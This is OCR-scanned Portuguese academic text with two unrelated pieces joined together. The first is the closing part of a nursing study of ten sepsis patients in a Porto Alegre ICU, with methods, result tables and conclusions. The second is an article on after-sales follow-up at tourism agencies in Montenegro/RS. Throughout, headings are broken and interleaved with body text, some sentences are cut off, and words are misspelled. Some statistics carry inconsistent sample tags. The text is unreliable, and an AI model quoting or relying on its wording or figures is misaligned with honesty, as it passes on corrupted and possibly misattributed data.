leta de dados, serao guardados durante um periodo de cinco anos, sendo incinerados apos

este periodo. E de responsabilidade dos pesquisadores, preservar os dados de identificacdo

dos pacientes para que nao haja comprometimento do sigilo e exposicao do mesmo, impedin-
do que informacodes pessoais, sejam publicadas, preservando assim a privacidade dos parti-
cipantes. Desta forma os pesquisadores assinaram o Termo de Compromisso para Utilizacao

dos Dados.




A seguir, foi solicitado ao Servico de Arquivo Médico (SAME) a relagdo de pacientes
internados no local e periodo proposto, para realizar a busca de dados.

A coleta dos dados foi através da consulta aos prontuarios de pacientes com diag-

nostico de sepse, internados no CTl, para identificacao das intervencoes de enfermagem na
assisténcia ao paciente séptico, utilizando um instrumento para coleta de dados (Apéndice A).
A coleta ocorreu no periodo de 20 de maio a 05 de junho de 2015, pela autora do estudo, que
buscou nos prontuarios as informagdes que constam no instrumento de pesquisa .

Foram avaliadas as prescricoes de enfermagem de todos os dias que o paciente per-
maneceu internado no CTIl, em casos de pacientes ainda internado no periodo da coleta, foi
avaliado apenas o periodo de julho a outubro de 2014. Os prontuarios foram disponibilizados
pelo Servigo de Arquivo Médico (SAME), onde sdo armazenados. Apos, os dados foram trans- e
critos para o banco de dados em planilha do Microsoft Office Excel.

Os dados coletados foram diretamente digitalizados em um banco de dados em plani-
Iha do Microsoft Office Excel e as informacdes quantitativas foram analisadas com o auxilio da
funcao filtro. As variaveis foram descritas a partir de média, desvio padrao e frequéncia, apos

confrontadas com a literatura.
NCI.USAO Observou-se no presente estudo a prevaléncia do sexo masculino em 60% (n=10)

e Koury, Lacerda e Neto, (2006).




No estudo realizado por Sousa et al. (2014), cujo o objetivo foi identificar o perfil epi-
demiologico das internacdes em uma UTI de um Hospital Regional de Cajazeiras, que teve
310 pacientes em sua amostra, o sexo prevalente também foi o masculino, em 54,8% das
internagdes, semelhante a outros estudos que também demonstraram a prevaléncia masculina
nas internacoes em UTI. Este estudo ainda discute o problema da procura tardia dos homens
pelos servicos de saude. Fato este que corroborou para a implantagao da Politica Nacional de
Atencao Integral a Saude do Homem em 2009.

Em outro estudo, que por sua vez descreveu as caracteristicas clinicas- epidemiologi-
cas, laboratoriais e o desfecho clinico de 199 pacientes internados em uma UTI de um hospital
terciario privado da cidade de Recife, demonstrou também que o sexo masculino prevaleceu

em 56,3% dos pacientes, (KOURY; LACERDA; NETO, 2006).

a amostra, também prevaleceu o sexo masculino em 56% casos.

Quanto a idade dos pacientes que desenvolveram sepse, as medidas de posicao e
dispersao realizadas foram a média, que foi de 70 anos e 9 meses de idade e desvio padrao +
18,24 anos. Houve uma pequena diferenca em relagdo a media de idade descrita por Koury,
Lacerda e Neto (2006) que foi de 68,8 + 16,7 anos. Outro estudo, que descreveu a idade dos

pacientes com sepse, teve faixa etaria de idade prevalente de 71 a 80 anos com 24,8% e de

61 a 70 anos 22,9%, totalizando 68,5% de paciente acima de 61 anos no total das internacogs
nesta UTI (SOUSA et al., 2014).

O estudo de Oliveira et al. (2014), apresentou uma prevaléncia de idade, onde /32%
dos pacientes eram maiores de 80 anos, o que também vai ao encontro dos resultados desta

pesquisa, onde 40% (n=10) dos pacientes tinham 80 anos de idade ou mais, 70% (n=10) ti-




nham 70 anos ou mais, 30% (n=10) tinham 60 anos de idade ou menos. Este expressivo dado
justifica a ocorréncia das doengas cronicas encontradas, bem como a ocorréncia das formas
mais graves da sepse, visto que as respostas do hospedeiro as infeccoes, ao tratamento e aos

cuidados sao menos favoraveis nos idosos.

Na tabela 1, estao descritos os locais de origem dos pacientes que internaram no CTI
e tiveram sepse. 80% (n=10) dos pacientes internaram na CTI tiveram como porta de entrada,
a emergéncia da instituicao.

Tabela 1 — Procedéncia dos pacientes com sepse que internaram no CTI-A de um hospital
privado do municipio de Porto Alegre

Unidade de origem F (%)
Emergéncia 8 80
Unidade de internagéo 1 10
Centro cirargico 1 10
Total 10 100

Fonte: Elaborado pela autora, 2015.

Este resultado estéa em consonéncia com o estudo descrito por Rocha et al. (2014),
onde 56,10 % das internacoes dos pacientes com choque séptico fatal foram a partir do pronto
socorro municipal, 29,27% da unidade de clinica médica e 12,19% da unidade de interng-
¢ao cirurgica, ambas da mesma instituicao. Entretanto em outro estudo, agora realizado fpor
Barcellos, Fedrizzi e Bao (2014) a cerca dos desafios no seguimento e manutencao de poas
praticas em um protocolo de sepse, (89,15%) dos pacientes foram transferidos de unidades de

internacao clinica para a UTI.




O Brasil € um pais heterogéneo, e as condicbes de saude da populacao também se
diferem. Por isso é necessario que cada local e servico de saude descreva o seu perfil epi-
demiologico para definir prioridades de intervencdes para melhorar o atendimento oferecido
(KOURY; LACERDA; NETO, 2006).

A partir do resultado desta pesquisa, nota-se a importancia do conhecimento das ma-
nifestacoes da sepse por parte da equipe multidisciplinar, que atua na emergéncia e nao so-
mente das equipes atuantes na terapia intensiva, para que o diagnoéstico seja realizado o mais
precocemente possivel e 0s pacotes de ressuscitacao iniciados com brevidade, para melhor
prognostico.

Referente ao momento do diagnostico de sepse, observou-se que 80% (n=10) dos ca-
sos foram diagnosticados no momento da internacdo no CTI e apenas 20% (n=10) dos casos
foram diagnosticados apos a internagao no CTI. O que diverge dos resultados do estudo reali-
zado por Cardozo Junior e Silva (2014), onde apenas 12% dos pacientes tiveram o diagndstico
de sepse na admissao e 88% tiveram o diagnostico de sepse durante a internacao hospitalar.
Ja no estudo de Koury, Lacerda e Neto (2006), 85,8% dos pacientes tinham sepse na interna-
cao e entre 0s que desenvolveram sepse apos a admissao, 0 momento da sepse foi em média
de 3,4 dias com um minimo e um maximo de 10 dias (KOURY; LACERDA; NETO, 2006).

Conforme a tabela 2, que demonstra os resultados a cerca do foco infeccioso que dg-
sencadeou a sepse nos pacientes estudados, observou-se a prevaléncia de infecgdes no tyato

urinario em 60% (n=10) dos casos.




Tabela 2 — Foco infeccioso que desencadeou sepse em pacientes internados no CTI-A de um
hospital privado do municipio de Porto Alegre

Foco infeccioso F (%)
Trato urinario 6 60
Pulmonar 4 40
Total 10 100

Fonte: Elaborado pela autora, 2015.

Este resultado ¢é distinto de outros quatro estudos que abordam este dado, visto que as
infeccdes nestes estudos eram de origem nosocomial, o que interfere diretamente neste resul-

tado. O estudo descrito por Cardozo Junior e Silva (2014), que abordou a sepse em pacientes

com traumatismo cranio encefalico em UTI e os fatores relacionados a mortalidade, os focos
infecciosos em (91,4%) dos casos foram de origem pulmonar, (13,7%) associado a cateter
venoso, (6,9%) infeccdes do trato urinario, (5,1%) seios da face e outros somaram (14,8%). Ja
em outro estudo, o foco infeccioso que teve prevaléncia foi o pulmonar em 79,3% dos casos,

14,8% gastrointestinais e 13,6% urinario (KOURY; LACERDA; NETO, 2006).

Outros estudos também demonstraram a prevaléncia do foco pulmonar em 44% dos
casos, 20% gastrointestinal e abdominal, vias urinarias 12%, infecgdes de cateter venoso cen
tral foi responsavel por 8% e 16% dos focos nao foram identificados (OLIVEIRA et al., 2014)
estudo de Barcellos, Fedrizzi e Bao (2014), também apresentaram o foco infeccioso pulmgnar

como prevalente, com 38,55% dos 166 pacientes estudados.




Em relacéo ao desfecho da internacao que esta descrito na tabela 3, houve a prevalén-
cia de alta do CTl em 60% dos casos. Observa-se a proximidade dos resultados descritos por
outras literaturas, como por exemplo: Obito 43,7% e alta para 56,3% dos pacientes (KOURY;
LACERDA; NETO, 2006).

Tabela 3— Desfecho da Internagéo de pacientes com sepse no CTI-A de um
hospital privado do municipio de Porto Alegre

Desfecho da internacéao ‘ F ‘ %
Alta 6 60
Obito 4 40
TOTAL 10 100

Fonte: Elaborado pela autora, 2015.

Correlacionando os desfechos com o foco infeccioso e a classificacao da sepse, 83,33%
(n=6) dos pacientes que tiveram alta tiveram infeccdes do trato urinario e apenas 16,67% (n=6)
infeccao pulmonar. 33,33% (n=6) dos que tiveram alta nao tiveram o estadiamento descrito no
prontuario do paciente, 16,66 (n=6) apresentaram sepse, 16,66 (n=6) sepse grave e 33,33%
(n=6) apresentaram choque séptico. O estadiamento da doenga em choque séptico esteve
presente em 100% dos casos em que o desfecho foi dbito. Quanto ao foco infeccioso prevd-
lente nos casos de 6bito, 75% (n=4) dos pacientes tiveram infecgdes pulmonares e apepas
25% (n=4) teve infecgéo do trato urinario e teve como desfecho obito. Estes dados per
relacionar que nesta amostra, as formas mais graves da doenca estiveram associados a focos

pulmonares e desfechos desfavoraveis.




Conforme as medias aritméticas, mediana e desvio padrao, foi possivel determinar o
tempo médio de internacéo no CTI em 6,6 dias, mediana de 4,5 dias e desvio padrao de +
6,96. Quanto ao tempo de internagao hospitalar, a media foi de 23,7 dias, mediana 11 dias
e desvio padréo + 39,27 dias. Houve similaridade nos resultados descritos por Sousa et al
(2014), onde o tempo de internacdo na UTI em 82,6% dos casos ficou entre 1 e 10 dias. E em
relagcao ao tempo de internagao hospitalar teve uma discreta diferenca em relacao ao estudo
de Cardozo Junior e Silva (2014), em que tempo de internagado hospitalar ficou em 29,7 + 27,8
dias e o tempo de internacao na UTI, permaneceu em 15,4 + 12,4 dias no estudo realizado por
Cardozo Junior e Silva (2014).

Entretanto, em outro estudo o tempo médio de permanéncia na UTI foi de 11,3 dias
para os pacientes que tiveram alta e de 15,7 dias para os pacientes que evoluiram para obito.
O fato do tempo de internagao ter sido maior para pacientes que evoluiram para 6bito pode ter
ocorrido devido a grande frequéncia das comorbidades e nao a faléncia de multiplos 6rgaos
secundaria & sepse (KOURY; LACERDA; NETO, 2006). A relagéo entre o tempo de internagéo
e comorbidades ou sindrome da disfuncao de multiplos érgdos nao foi estabelecida neste
estudo, devido a falta de informagdes nos prontuarios acerca do estadiamento da doenca e de
todos o0s pacientes possuirem alguma comorbidade.

Com o presente estudo, € possivel concluir que o objetivo proposto foi atingido, atrave's
dos resultados apresentados na caracterizacao da amostra de pacientes com sepse integha-
dos no CTl de um hospital privado do municipio de Porto Alegre.

Quanto a caracterizacdo da amostra, o sexo masculino prevaleceu em 60% dgs pa-

cientes com sepse, a idade média foi de 70 anos e 9 meses de idade, a porta de entrada dos




pacientes para o CTl em 80% dos casos foi a emergéncia da instituicdo, onde 80% dos pacien-
tes tiveram o diagndéstico de sepse no momento da internacao no CTI, sendo estas infecgdes
predominantemente de origem comunitaria e com foco infeccioso no trato urinario. Em relacéo

aos culturais, a maior parte dos resultados foram negativos.

O estagio da sepse prevalente foi a forma mais grave dentre as encontradas nos regis-
tros e trata-se do choque séptico. Entretanto, a SDMO nao foi registrada em nenhum prontuario,
mas os pacientes desenvolveram insuficiéncia renal aguda e insuficiéncia ventilatoria aguda, o
que caracterizaria a sindrome. Sendo assim, este dado pode nao ter sido devidamente regis-
trado no prontuario do paciente, dificultando a analise.

Os desfechos favoraveis, ou seja, de alta do paciente do CTI prevaleceu em 60% dos

casos, o tempo médio de internagao dos pacientes com sepse no CTI foi de 6,6 dias e o tempo

de internagao hospitalar, em media foi de 23,7 dias.

Conclui-se que cada instituicao deva tracar o perfil dos seus clientes e fluxos de entra-
da, para treinamento das equipes na identificacéo precoce da sepse e tratamento com bre-
vidade para melhor prognostico. Propde-se, a realizacao de pesquisas e o desenvolvimento
do conhecimento dos profissionais de enfermagem sobre sepse para a expansao do conheci-

mento cientifico e pratico da profissao.
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0 presente artigo trata do estudo do pés-venda como ferramenta para estabelecer o relaciona-
mento com o cliente. As atividades de pds-venda sdo focadas na retencao e possivel lealdade dos
clientes, o que proporciona a fidelizacdo e a multiplicacdo de uma imagem positiva da empresa.
Assim, 0 estudo tem como objetivo geral investigar o processo de pés-venda pelas agéncias de
turismo de Montenegro/RS. Como objetivos especificos contextualizar o marketing de relaciona-
mento e o marketing turistico, descrever o processo de pés-venda e caracterizar as atividades
de agenciamento. Quanto a metodologia utilizada, se caracteriza como exploratéria de caréter
qualitativo, tendo como procedimentos técnicos a pesquisa bibliogréfica e o estudo de campo
junto a viajantes que adquiriram servicos e produtos com agéncias de turismo e junto a trés
agéncias localizadas na cidade de Montenegro/RS. A pesquisa permite constatar que o pés-venda
nas agéncias de turismo pesquisadas, em sua maioria, se constitui em procedimentos isolados.
Palavras-chave: Marketing de Relacionamento. Pés-venda. Fidelizacao. Agéncia de Turismo.
Montenegro/RS.

ABSTRACT

This article deals with the after-sales study as tool for establishing the relationship with the
customer. The after-sales activities are focused on the retention and possible customer loyalty,
which provides loyalty and multiplication of a positive company image. Thus, the this paper aims
to investigate the after sales process by the tourism agencies in Montenegro/RS, and as specific
objectives contextualize the relationship marketing and tourism marketing, describe the process
after sales and characterize the activities of agency. Regarding the methodology, it is characterized
as exploratory qualitative, with technical procedures as bibliographical research and field study
together with travelers who buy services and products from travel agencies and with three bran-
ches located in the city of Montenegro/RS. The research allowed to establish that the after sales
in the surveyed tourism agencies, mostly, are in isolated procedures.

Keywords: Relationship Marketing. After-sale. Loyalty. Tourism Agency. Montenegro/RS.



INTRODUCAO

ETODOLOGIA

O processo de pos-venda, que € o contato com o cliente apds o fechamento da venda,
esta fortemente ligado a questdo da qualidade do servico prestado e a fidelizacao do cliente,
processo este que emprega o marketing de relacionamento. Segundo Kotler (2003), as empre-
sas precisam evoluir do foco no processo de produtos para a conquista e retencao de cliente.

As agéncias de turismo sao empresas constituidas com o objetivo de realizar nego-
cios relativos a viagens, com seu enfoque no deslocamento de pessoas e todos 0s servicos
e produtos relacionados a este setor. Assim, como todas as empresas que trabalham com a
prestacao de servigos, as agéncias prezam pela exceléncia dos produtos e a constante busca
pelo bom relacionamento com os clientes, o que resulta na fidelizacdo. Embora, atualmente se
tenha muitas facilidades via internet, o contato pessoal ainda € um fator de grande importancia

para as empresas.

Assim, o objetivo geral desse trabalho € investigar o processo de pos-vendas realiza-
do pelas agéncias de turismo de Montenegro/ RS e a principal contribuicao do presente este
estudo deve-se ao fato de o processo de pds-venda ser de extrema importancia também para

as agéncias, sendo possivel a partir da sua aplicacao, ter conhecimento do servigo prestado

e a fidelizacao do cliente.

Quanto ao método da pesquisa, o trabalho caracteriza-se por exploratorio. Para Dgn-
cker (2002), os estudos exploratorios compreendem, além do levantamento das fontes se¢un-
darias, o0 estudo de casos selecionados e a observacao informal. Quanto a abordagem
dologica, o presente trabalho apresenta o carater qualitativo, onde o ambiente natural € g fonte

direta para coleta de dados e 0 pesquisador € o instrumento-chave.



CONTEXTO DO
ESSO DE
ENDAS

Quanto aos procedimentos técnicos, o estudo utiliza a pesquisa bibliogréfica e estudo
de campo. A pesquisa de campo foi estruturada em dois momentos, no primeiro foi aplicado um
questionario junto a 35 clientes que compram com agéncias de turismo, visando verificar junto
aos respondentes quanto a frequéncia de utilizacéo da agéncia de turismo para as viagens de
férias ou negocios e, também, se os respondentes acreditam ser importante o contato pos-ven-
da. O critério de selecao adotado para os respondentes do questionario foram viajantes que
utilizam com frequéncia agéncias de turismo para compra de produtos/servigos relacionados
segundo momento consistiu em entrevista com roteiro semiestruturado junto a trés agéncias de
turismo localizadas no municipio de Montenegro, com finalidade de verificar se o processo de
pos-venda & um procedimento isolado ou se consiste em um processo adotado pela agéncia
de turismo. Dentre as agéncias de turismo, foram selecionadas as que possuem cadastro ativo
no Sindicato das Empresas de Turismo no Estado do Rio Grande do Sul (Sindetur/RS).

A entrevista e 0 questionario se enquadram em uma amostragem nao probabilistica
intencional. Para Prodanov e Freitas (2013), amostras intencionais constituem um tipo de amos-
tragem nao probabilistica e consistem em selecionar um subgrupo da populacao que, com

base nas informacoes disponiveis, possa ser considerado representativo de toda a populacao.

O marketing de relacionamento € uma nova abordagem para as empresas recuperayem
agoes estratégicas, considerando tao importante ou mais que as atividades de servico ¢m si,
sendo considerada como estratégia principal das empresas competitivas (GORDON, 2000).

Nessa abordagem, o fechamento de uma venda € considerado o inicio do relacionamento




entre o cliente e a empresa. Os principios do marketing de relacionamento se concentram em
criar novo valor para os clientes, reconhecendo o valor fundamental de cada um. A partir do

foco no cliente, a empresa planeja e alinha seus processos de negdcios assim como a tecnolo-

gia e comunicagao mantendo o valor no cliente individual (GORDON, 2000). Vavra (1993, p. 32)
afirma que, é necessario que as empresas mudem a mentalidade de “completar uma venda”
para “iniciar um relacionamento” e também “fechar um negocio” para “construir lealdade”.
Vavra e Pruden (1995) afirmam que pds-venda é uma filosofia que reforgca o estabeleci-
mento de relacionamento de valor com os clientes, as atividades de pds-vendas sao focadas
na retencdo e possivel lealdade dos clientes. Para Kotler e Keller (2012), o trabalho nao termina
quando o produto € comprado, € necessario um monitoramento da satisfagdo em relagao ao

produto depois da compra. Sendo assim, alcancar a satisfacdo dos clientes e garantir a fideli-

dade passa por adaptar produtos e servicos, dar retornos satisfatorios e envolvé-los em acoes

junto a empresa € o grande objetivo do poés-venda.

4 A ATIVIDADE DE

AGENCIAMENTO E As agéncias de turismo, segundo Petrocchi e Bona (2003) s&do organizagdes na qual

EVE DES(RI(AO DAS sua finalidade € comercializar produtos turisticos. Como principais funcoes, elas orientam ds

CIAS I.OC,AI.IZADAS pessoas que desejam viajar, analisam as melhores condi¢coes para que a viagem acontgca,
, seja a nivel operacional ou financeiro e prestam assessoria aos clientes para definicaq dos

U NICI PIO DE itinerarios. “As agéncias de viagens e turismo pertencem ao setor de viagens e turismo epqua-

NEG RO/RS drado no setor terciario — servigos -, na economia do Turismo.” (TOMELIN, 2001, p. 15).




Segundo Candioto (2012), desde a sua origem, as agéncias de turismo sdo empresas
que buscam aperfeicoar o modo de viajar, tornando de facil acesso a utilizagcao dos servigos e
equipamentos turisticos.

As agéncias entrevistadas no presente estudo, estao localizadas no municipio de Mon-
tenegro - Rio Grande do Sul, na regiao do Vale do Cai, distante 55 km da Capital Porto Alegre.
Segundo dados apontados pelo IBGE (2010) o municipio possui 59.515 habitantes.

Segundo o Estudo de Competitividade 2013 — Destinos Turisticos do RS (2013), o Muni-
cipio de Montenegro possui nove Agéncias de Turismo cadastradas no Cadastro dos Prestado-
res de Servigos Turisticos do Ministério do Turismo Cadastur (Mtur). Dentre as nove agéncias,
trés sao cadastradas no Sindicato das Empresas de Turismo no Estado do Rio Grande do Sul
(SINDETUR - RS).

Os servicos mais oferecidos pelas agéncias sao: emissao de bilhetes aéreos, venda
de pacotes turisticos e hotelaria, cruzeiros maritimos, servigos de traslados, passeios e visitas,
seguro viagem, locacao de carros nacionais € internacionais, representacao de empresa de
cambio, apoio a despacho de documentos.

A maioria das agéncias evidenciadas no estudo de competitividade trabalha com via-
gens a Lazer e de Negocios, e apenas uma pode ser considerada agéncia receptiva. Das agén-
cias localizadas no municipio trés iniciaram suas atividades ha mais de dez anos, e uma delds

iniciou suas atividades em 2013. Todas comercializam pacotes nacionais e internacionais.




RESULTADO DA
NTREVISTA JUNTO
AOS VIAJANTES

A pesquisa junto a 35 clientes que compram com agéncias de turismo, permitiu verificar
quanto ao perfil dos respondentes que 69% correspondem ao género feminino € 31% ao gé-
nero masculino. Dos clientes que responderam ao questionario, 46% estao na faixa etaria entre
18 a 29 anos, 29% encontram-se entre 30 a 39 anos, 14% encontram-se entre 40 a 49 anos,
11% dos respondentes encontram-se na faixa etaria entre 50 e 65 anos. Quanto ao nivel de
escolaridade, 29% possuem Ensino Médio, 49% concluiram o Ensino Superior e 23% possuem
Pos-Graduacéo.

As cidades de residéncia dos pesquisados concentraram-se no Rio Grande do Sul,
tais como Estancia Velha, Santa Cruz do Sul, Porto Alegre, Montenegro, Sao Leopoldo e Novo
Hamburgo, com excecao de Tubarao/SC e Rio Claro/SP.

Os pesquisados foram questionados quanto a sua frequéncia da utilizacao de agéncias
de turismo para aquisicao de servicos, no qual 37% dos respondentes utilizam “sempre” os
servicos de uma agéncia, 23% “quase sempre” e 40% responderam que “as vezes” utilizam o
Servico.

Os clientes indicaram como principais formas de comunicagcao com a sua agéncia de
turismo, a comunicacao feita por “e-mail” com 91%, em segundo lugar por “telefone” com 89%,
em terceiro lugar pelo “site” com 71%. Outra importante forma apontada foi a utilizacao da rede
social “Facebook” com 37%.

Para os pesquisados que compram com agéncias de turismo foi questionado se apds a
compra do servigo até o periodo de embarque da viagem existe algum acompanhamento/cpnta-
to pelo consultor da agéncia. Nesse aspecto, 60% dos respondentes confirmaram que o consul-

tor de viagens entra em contato apos o fechamento e 40% afirmam que esse contato nao ¢ feito.




RESULTADO DA

QUISA DE CAMPO

0 AS AGENCIAS
ISMO

A partir dos estudos de Gordon (2000) que criou subconjuntos do termo “cliente” para
demonstrar os diferentes vinculos da empresa-cliente, os clientes pesquisados assim como as
agéncias entrevistadas foram questionadas sobre essas categorias.

Segundo Gordon (2000), os clientes considerados compradores estéo satisfeitos com
0s servigos prestados pela agéncia, considerando a agéncia alternativa para compras futu-
ras. Os clientes considerados eventuais consideram a agéncia o fornecedor principal, porem
sempre consultam outros fornecedores para comparar valores e servicos. Os regulares ja com-
pram a longa data na agéncia, no qual a agéncia ja conquistou a sua confianca. Por ultimo, o
cliente considerado defensor tem a sua agéncia como fornecedor Unico do servigco prestado.
A pesquisa aponta que 37% dos pesquisados consideram-se clientes eventuais, considerando
a agéncia de turismo fornecedor principal, porém sempre consultam outros fornecedores para
comparar valores e servicos; 38% consideram-se clientes compradores; 14% dos pesquisados
consideram-se clientes regulares e 11% consideram-se clientes defensores, possuem a agén-

cia como fornecedor unico do servigo prestado.

As agéncias de turismo entrevistadas estao localizadas no municipio de Montenegro/
RS e serao apresentadas como agéncia A, B e C. O foco principal das atividades das agéncids
sao o lazer e o corporativo. A agéncia C concentra-se em vendas corporativas, ja as agéngias
A e B comercializam viagens a lazer. Dentre as entrevistadas, as agéncias A e B trabalham

esporadicamente como agéncia receptiva.




Ao questionar os representantes das agéncias de turismo sobre os principais meios de
comunicacao utilizados com os seus clientes, a agéncia A respondeu que em primeiro lugar o
“e-mail”, seguido de “anuncios em jornal e revistas” e “propaganda em televisao e radio”; para
a agéncia B o “e-mail” esta como principal forma de comunicacao, seguido de “propaganda
em televisao e radio” e “Facebook”. Para a agéncia C, a sua principal forma de comunicagao
assim como as agéncias anteriores € o0 “e-mail” seguido do “Facebook” e do “site”.

As agéncias de turismo foram consultadas em relagao a adotar ou nao um acompanha-
mento junto aos seus clientes apos o fechamento da venda. Todas as trés agéncias entrevis-
tadas confirmaram que fazem o acompanhamento junto aos seus clientes apos o fechamento
da venda.

Os representantes das agéncias de turismo entrevistadas foram questionados em re-
lagao a percepcao dos seus clientes em relacao ao contato pés-viagem, se esse contato era
bem aceito pelos clientes ou causava incomodo. Para essa questao, tanta a agéncia de turismo
A como C responderam que em sua maioria esse contato &€ bem aceito, onde o cliente acredita
ser valorizado e confia ainda mais nos servicos e produtos prestados pela agéncia. A agéncia
B foi a Unica a relatar que em alguns casos o cliente sente-se incomodado respondendo ape-
nas o que lhe foi perguntado de maneira direta.

Ao questionar os representantes das agéncias entrevistadas quanto as situacoes e
que o pés-venda é aplicado (vendas de pacotes turisticos, bilhetes aéreos, seguro viagem e
etc.), em sua maioria, concentra-se principalmente em pacotes turisticos e, em alguns casos,

na aquisicao de bilhetes aéreos internacionais para o foco corporativo.




Outro questionamento importante feito aos entrevistados foi quanto ao periodo em que
€ realizado o contato com o cliente apds o seu retorno. Sendo assim, o representante da agén-
cia A informou que esse contato acontece de 1 a 2 dias apos o retorno da viagem, mas nem
sempre o0 cliente é contatado nesse prazo. Para a agéncia B, esse contato leva em torno de
cinco dias, dependendo de cada caso. Para agéncia C, o contato apos o retorno do viajante
normalmente acontece de 2 a 5 dias.

Quanto a utilizacao de banco de dados para a realizacdo do pos-vendas, a agéncia
A, informou que ndo é utilizada nenhuma ferramenta especifica, apenas um dos consultores
utiliza em alguns momentos uma planilha de Excel que reune informacodes do cliente. A agén-
cia B apontou que possui um arquivo fisico com as informacdes de cada cliente, e apds o
contato poés-venda o mesmo ¢é arquivado. A agéncia C afirma que possui um CRM (Customer
Relationship Management) instalado junto ao sistema operacional, mas o0 mesmo ainda ndo &
utilizado, cada consultor possui seu proprio controle e cadastro em planilhas de Excel conten-
do as informacoes.

Quanto ao perfil do cliente da agéncia, qual seria o percentual correspondente, consi-
derando: compradores aqueles clientes que estao satisfeitos com os servigos prestados pela

agéncia, considerando a mesma alternativa para outras compras; eventuais consideram a

agéncia fornecedora principal, porém sempre consulta outros fornecedores para compargar
valores e servigcos; regulares ja compram a longa data da agéncia, na qual possuem confiafica
nos servicos prestados; defensores tém a agéncia como fornecedor unico do servigo presfado.
Para a agéncia A, o perfil dos seus clientes seriam 50% regulares e 50% defensores;

agéncia B, 75% possuem o perfil de compradores e 25% defensores; para agéncia C, 4006 dos




seus clientes podem ser considerados eventuais e 60% regulares onde ja compram a longa
data da empresa e possuem confianca na agéncia.

Assim, as agéncias entrevistadas foram questionadas em relacéo a importancia do
processo de pds-venda para a sua empresa. Para a agéncia A, o processo de pos-venda €
considerado “importante”, onde o cliente sente-se seguro e valorizado. Da mesma forma para a
ageéncia B, que relata a importancia de um retorno para saber as novidades e obter dicas sobre
o destino visitado. Para a agéncia C, o processo de pos-venda ¢ “extremamente importante”,
principalmente, para analisar em quais procedimentos a agéncia pode melhorar, e, também,
continuar com os procedimentos que estao corretos.

Dentro dessa perspectiva, as agéncias foram questionadas se 0 pés-venda € um pro-
cedimento isolado que ocorre de forma descontinua, ou € um processo com regularidade que
envolve varias etapas. Sobre esse questionamento a agéncia A relatou que o pos-venda nao
€ tido como um processo sendo feito de acordo com a disponibilidade de tempo como um
procedimento. Para a agéncia B, o pos-venda sempre € feito, mas nao existem varias etapas
do processo. Para a agéncia C é um processo que envolve varias etapas onde a partir do fe-
edback do cliente & possivel tomar algumas providéncias em caso de alguma reclamacao ou
insatisfacao.

Ainda, o ultimo questionamento feito para as agéncias de turismo pesquisadas busc
verificar o percentual de fidelizacao dos clientes. Para a agéncia A, mais de 70% de seus clj
tes podem ser considerados fidelizados. As agéncias de turismo B e C consideram que éntre

51% e 71% dos seus clientes sao fiéis a empresa.




ONSI DERACOES Como descrito no presente estudo, o pos-venda é considerado de extrema importancia
3

INAIS para as empresas que pretendem estabelecer um relacionamento e vinculo com seus clientes.
Permanecer em constante contato com o cliente significa vantagem e ganho para as empresas
que investirem em estratégias voltadas ao marketing de relacionamento. E possivel observar
que muitas agéncias de turismo ainda sao omissas nas atividades de pds-venda principalmen-
te por acreditarem que agdes voltadas ao pos-vendas necessitem de investimento de recursos
humanos e sistemas, quando na verdade a perda de um cliente pode ter um custo ainda maior.

Os resultados apontam que os viajantes nao utilizam sempre os servicos e produtos
de uma agéncia de turismo, buscando outros canais para a sua compra. Dessa forma, € ne-
cessario criar estratégias para retencao e fidelizacéo dos clientes, fazendo com que tenham a

agéncia de turismo como fornecedor principal e exclusivo dos servicos/produtos relacionados

a viagens. Segundo Candioto (2012) com a chegada da internet, acontecerem diversas mu-
dangas para o0 mundo e as agéncias de turismo tambéem foram afetadas com esse fendmeno.
Dessa forma, foi necessaria uma reformulagéo do setor turistico por meio da desintermediacao

e reintermediacéo, pois 0 poder de negociacdo das agéncias se transferiu para os consumi-

dores e fornecedores.

O estudo permitiu identificar que a atividade de pos-venda nas agéncias de turismo en-
trevistadas, em sua maioria, apresenta-se de forma incipiente, sendo que ainda nao é adotado
como um processo, segundo o marketing de relacionamento.

A partir das entrevistas junto as agéncias de turismo de Montenegro/RS e a aplicacao
do questionario junto aos clientes de agéncias de turismo fica possivel evidenciar a impprtan-

cia do processo de pos-venda e principalmente a fidelizagdo dos clientes. Com a fidelizacao e




retengao dos clientes é possivel aumentar as vendas por cliente, sempre o mantendo satisfeito
e dessa forma impedindo o cliente de mudar para a concorréncia.

Os clientes, em sua maioria, se mostraram favoraveis ao acompanhamento e consulta
apos o retorno da viagem por parte das agéncias.

Sendo assim, a interagao continuada do pos-venda é fundamental e tao necessaria
quanto a venda com o intuito de criar negocios futuros com o cliente. O processo de pos-
-venda nao pode ser considerado custo para empresa e sim um beneficio que traz vantagens
competitivas. O principal intuito do processo € alcancar a satisfacao dos clientes, adaptando
0s servicos, retornando o cliente em todas as suas solicitacdes e envolvé-lo em acdes junto a
empresa € o grande objetivo do pos-venda.

A partir do estudo se pode observar a grande importancia do banco de dados de uma
empresa, assim como sistemas especificos como CRM (ustomer elationship management). O
banco de dados sobre o cliente deve possuir nome, endereco, historico de transacdes € em
alguns casos até dados demograficos e psicograficos (atividades de interesse e opinides).

Observa-se que as atividades e operacdes de uma agéncia de turismo sao diversas e
muito dindmicas, essas em sua maioria nao adotam uma estrutura organizacional com um setor

especifico para a atividade de pos-vendas, o que presume de um investimento maior nessa

area. Dessa forma, percebe-se que reconhecer a importancia desse processo, trara diversgs

resultados para a agéncia.
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